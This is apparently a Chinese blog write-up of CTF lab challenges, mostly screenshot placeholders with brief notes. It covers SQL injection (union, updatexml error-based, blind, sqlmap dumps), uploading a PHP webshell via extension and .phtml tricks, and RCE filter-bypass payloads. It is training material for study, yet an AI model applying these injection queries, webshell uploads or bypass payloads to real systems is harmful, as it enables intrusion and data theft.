一些SQL注入文件上传RCE

CTFhub+NSSCTF

SQL注入

整数型

查询列数-order by 语句 要注意的是联合查询前后两条 select 语句查询数据的列数是相等的,故需要使用 order by 语句来判断注 入点sql语句查询的列数是多少

PixPin_2025-03-06_19-23-40

UNION 联合查询数据库信息:确认完显示位可以利用显示位查询当前数据库名:回显为sqli

PixPin_2025-03-06_19-25-23

关于将id值设置为0或者负数的解释;

由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询默认返回一 行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。 要让数据库查询我们插入的语句,需要让原有SQL语句查询为空。

接着查询表名

PixPin_2025-03-06_19-27-07

select group_concat(table_name) from information_schema.tables where table_schema=’sqli’; 加引号

查列名

select group_concat(column_name) from information_schema.columns where table_name=’flag’ and table_schema=’flag’; 加引号

PixPin_2025-03-06_19-28-38

查数据

select group_concat(username,0x3a,password) from security.users; 不加引号

PixPin_2025-03-06_19-36-26

字符型注入

区别不大,需要先判断闭合符号

常见的有

1
2
3
'
"
()

输入常用闭合符号使页面抛出sql语法错误的报错信息,根据报错信息可以PixPin_2025-03-06_19-39-03

发现闭合符号

然后重复以上步骤

查库名

PixPin_2025-03-06_19-40-01

查表名PixPin_2025-03-06_19-41-10

查数据 得到flagPixPin_2025-03-06_19-43-41

报错注入

PixPin_2025-03-06_20-17-29

在有些时候虽然存在注入点能够执sql语句,但是页面中并没有打印sql执行结果的回显位置,但是如果页 面能够抛出报错的代码信息,就可以利用报错回显,来查看注入的sql语句的执行结果

updatexml 是 SQL 中的一个函数,主要用于处理和查询 XML 数据。它通常用于 MySQL 数据库,但它在安全方面也很敏感,尤其是在 SQL 注入攻击中被广泛利用。


📘 基本语法:

1
2
3
4
5
sql



UPDATEXML(xml_target, xpath_expr, new_value)
  • **xml_target**:要操作的 XML 数据。
  • **xpath_expr**:XPath 表达式,用于定位 XML 节点。
  • **new_value**:替换的值。

示例

1
2
3
4
5
sql


复制编辑
SELECT UPDATEXML('<root><name>John</name></root>', '/root/name', 'Jane');

🔸 结果

1
2
3
4
5
xml



<root><name>Jane</name></root>
1
select * from users where id=1 and (updatexml(1,concat(0x7e,(select  user()),0x7e),1)); 

updatexml的第二个参数需要Xpath格式的字符串,是用/xxx/xxx/xxx/…这种格式,以~开头的内容不是 xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的 形式报出 该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示

PixPin_2025-03-06_20-19-50+

借用updateexml函数查询库名 注意到数据末尾没有“~” 所以是没有显示完全的 改变substr后两个参数 得到全部库名

PixPin_2025-03-06_20-23-29

之后步骤一样

PixPin_2025-03-06_20-25-36

PixPin_2025-03-06_20-27-07

得到flag

PixPin_2025-03-06_20-28-23

PixPin_2025-03-06_20-29-35

布尔盲注

先确定数据库名有几位,然后猜字母,用burp爆破

PixPin_2025-03-07_20-11-20

PixPin_2025-03-07_20-13-21

PixPin_2025-03-07_20-13-55

PixPin_2025-03-07_20-29-08

PixPin_2025-03-07_20-30-24

PixPin_2025-03-07_20-34-16

但是太麻烦了于是转用sqlmap

1
sqlmap -u xxx --currernt-db

又查库名

PixPin_2025-03-07_20-42-28

1
sqlmap -u xxx -D sqli --tables

PixPin_2025-03-07_20-49-20

1
2
sqlmap -u xxx -D sqli -T flag --columns
sqlmap -u xxx -D sqli -T flag --dump

查到flag

时间盲注

延时注入是盲注的一种,在页面没有回显和报错,也不能通过拼接 and 0 、and 1 的布尔表达式来判断 sql语句是否成功执行,只能在参数后and sleep(5) , 加上延时函数sleep(), 如果sql语句执行页面刷新 就会有一定的延时,根据页面是否有延时来判断sql语句执行与否所以叫做延时注入

PixPin_2025-03-10_20-20-08

PixPin_2025-03-10_20-22-14

感觉是布尔盲注plus版 一个一个猜加个sleep判断对错PixPin_2025-03-10_20-34-06

一样用burp爆破最后直接用了sqlmap

PixPin_2025-03-10_20-36-14

后面好像没截图

数据库结构

直接用sqlmap

PixPin_2025-03-10_20-46-31

PixPin_2025-03-10_20-57-18

PixPin_2025-03-11_20-44-48

PixPin_2025-03-11_20-45-17

PixPin_2025-03-11_20-46-27

PixPin_2025-03-11_20-48-00

PixPin_2025-03-11_20-49-20

PixPin_2025-03-11_20-49-42

空格绕过PixPin_2025-03-13_20-53-33

绕过空格的方法很多,但是这些都不行

最后是用的/**/

PixPin_2025-03-11_21-09-20

PixPin_2025-03-11_21-12-02

PixPin_2025-03-11_21-13-57

PixPin_2025-03-11_21-15-30

PixPin_2025-03-11_21-17-58

PixPin_2025-03-11_21-23-28

文件上传漏洞

[SWPUCTF 2021 新生赛]easyupload1.0

PixPin_2025-03-16_14-48-37

一句话木马改一下后缀上传,在bp里再改回来

PixPin_2025-03-16_14-48-56

上传成功,用蚁剑连接

PixPin_2025-03-16_14-50-12

PixPin_2025-03-16_14-53-01

也是成功找到了错误的flag

PixPin_2025-03-16_14-56-24

在网上搜wp发现在phpinfoPixPin_2025-03-16_14-57-13

[SWPUCTF 2021 新生赛]easyupload2.0

PixPin_2025-03-16_15-02-39

也是一样的开始,然后是很多无用的尝试

PixPin_2025-03-16_15-14-34

PixPin_2025-03-16_15-15-32

能上传但是连接不上,好像是因为服务器的 MIME 类型限制,可能不允许 image/jpeg 执行 PHP

改了也不行,。。适用:服务器仅检查 MIME 类型,但不会实际解析内容时适用。

适用于基于前端 JavaScript 检查 MIME的绕过。

如果服务器 二次校验文件内容(如 fileinfo 函数),则可能无法绕过。

1-4 【实验】04-phtml绕过+代码审计-CSDN博客

如果你的文件是以phtml结尾的,它会把它当作php代码来执行。

太好了我们有救了PixPin_2025-03-16_15-25-41

PixPin_2025-03-16_15-26-09

PixPin_2025-03-16_15-31-08

RCE

[UUCTF 2022 新生赛]ez_rce

PixPin_2025-03-16_16-58-08

疑似把我知道的全过滤了,,,,,,

命令执行(RCE)面对各种过滤,骚姿势绕过总结 - 知乎

cat被过滤用了find

system用了printf

ls被过滤

可以在中间用反斜杠\

/?code=printf(l\s /);

?code=printf(l$IFS$s /); # IFS 变量绕过
?code=printf(\154\163 /); # ASCII 码 (\154 = l, \163 = s)

?code=printf(l"."s /);

?code=printf(l${''}s /);

find 代替 ls

如果 ls 被严格禁止,可以

1
?code=printf(`find / -maxdepth 1`);

/ 目录下的内容,类似 ls /

注:

\特殊字符去掉功能性,单纯表示为字符串,而linux看到反斜线\会自动帮你去掉,正常执行命令

命令执行RCE及其绕过详细总结(各情景下的绕过)_命令执行绕过-CSDN博客

绕过就行了

PixPin_2025-03-16_16-37-57

PixPin_2025-03-16_16-41-21

PixPin_2025-03-16_16-49-37

PixPin_2025-03-16_16-58-08


一些SQL注入文件上传RCE
http://example.com/2025/03/16/一些SQL注入文件上传RCE/
作者
everythingis-ok
发布于
2025年3月16日
许可协议